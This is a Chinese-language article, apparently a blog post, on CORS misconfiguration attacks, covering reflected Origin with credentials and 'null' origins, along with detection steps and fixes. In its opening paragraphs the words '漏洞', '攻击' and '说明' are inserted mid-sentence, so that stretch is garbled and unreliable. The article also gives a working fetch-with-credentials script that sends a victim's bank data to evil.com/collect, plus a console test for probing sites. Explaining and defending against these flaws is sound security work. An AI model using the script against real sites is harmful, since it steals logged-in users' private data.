cors漏洞攻击说明

一个恶意网站,漏洞只要在页面里写几行 JavaScript,攻击就能悄悄读走你在另一个网站上登录后的说明私密数据。这不是漏洞假设,是攻击 CORS 配置失误时每天可能发生的事。

CORS,说明全称跨域资源共享,漏洞是攻击浏览器用来放宽同源策略的一套机制。同源策略本身很严格:a.com 的说明脚本不能读 b.com 的响应内容。但现实中前端要调后端 API,漏洞域名不同、攻击端口不同,说明都需要跨域。漏洞于是攻击服务端通过返回 Access-Control-Allow-Origin 等响应头,告诉浏览器“我允许这个来源读我的说明数据”。问题就出在这个“允许”上。

最常见的漏洞写法是直接把请求里的 Origin 反射回去,并且带上 Access-Control-Allow-Credentials: true。代码大概长这样:

Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true 

浏览器看到这个组合,会允许 evil.com 的脚本携带用户 Cookie 发起请求,并把响应完整交给它。攻击者只需要在自己的页面里写一段 fetch:

fetch('https://bank.com/api/userinfo', {  credentials: 'include' }).then(r => r.text()).then(data => {  navigator.sendBeacon('https://evil.com/collect', data); }); 

用户如果刚访问过 bank.com 且登录状态还在,这段代码就能拿到他的账户信息、余额、甚至 CSRF token。整个过程用户毫无感知,页面看起来就是个普通博客或者图片站。

还有一种更隐蔽的配置:Access-Control-Allow-Origin: null。有些开发为了图省事,允许 null 来源,结果攻击者用 sandbox iframe 或者 data: URL 就能构造出 Origin 为 null 的请求,照样绕过限制。我见过一个内部管理系统就这么写,测试时用 <iframe sandbox="allow-scripts" src="data:text/html,..."> 直接读出了管理员列表。

那怎么判断一个站点有没有这类问题?打开浏览器开发者工具,在 Console 里执行:

fetch('https://target.com/api/sensitive', {  credentials: 'include' }).then(r => console.log(r.status)) 

如果返回 200 并且响应头里 Access-Control-Allow-Origin 是你的当前页面域名(而不是 target.com 自己),同时 Access-Control-Allow-Credentials 是 true,那基本可以确认存在漏洞。更严谨的做法是抓包看预检请求(OPTIONS)的响应,因为有些服务端只在简单请求时反射 Origin,预检时却返回固定值。

修复其实不复杂。白名单校验 Origin,只允许可信域名,并且严格区分是否携带凭证。如果接口不需要跨域,直接不返回 CORS 头。需要跨域又不需要 Cookie 的,把 Access-Control-Allow-Credentials 设为 false,并且 Allow-Origin 用 * 也没关系。千万别反射 Origin 又开凭证,这是最危险的组合。

另外,别迷信“只允许 HTTPS 来源”。攻击者一样可以用 HTTPS 域名。也别觉得“我的 API 返回的是 JSON,浏览器不会执行”。CORS 漏洞读的是数据,不是执行代码。数据泄露本身就是严重问题。

我自己的习惯是:每次渗透测试看到 Access-Control-Allow-Credentials: true,立刻检查 Allow-Origin 是不是动态反射。十次里有三次能挖到东西。这个比例不低,说明很多团队根本没意识到 CORS 配置错误等于把用户数据敞开放在公网上。

最后提醒一句:CORS 漏洞利用不需要用户点击任何东西,不需要钓鱼,不需要 XSS。只要用户访问了攻击者的页面,并且目标站点有漏洞,数据就没了。防御的重心完全在服务端配置上,客户端毫无办法。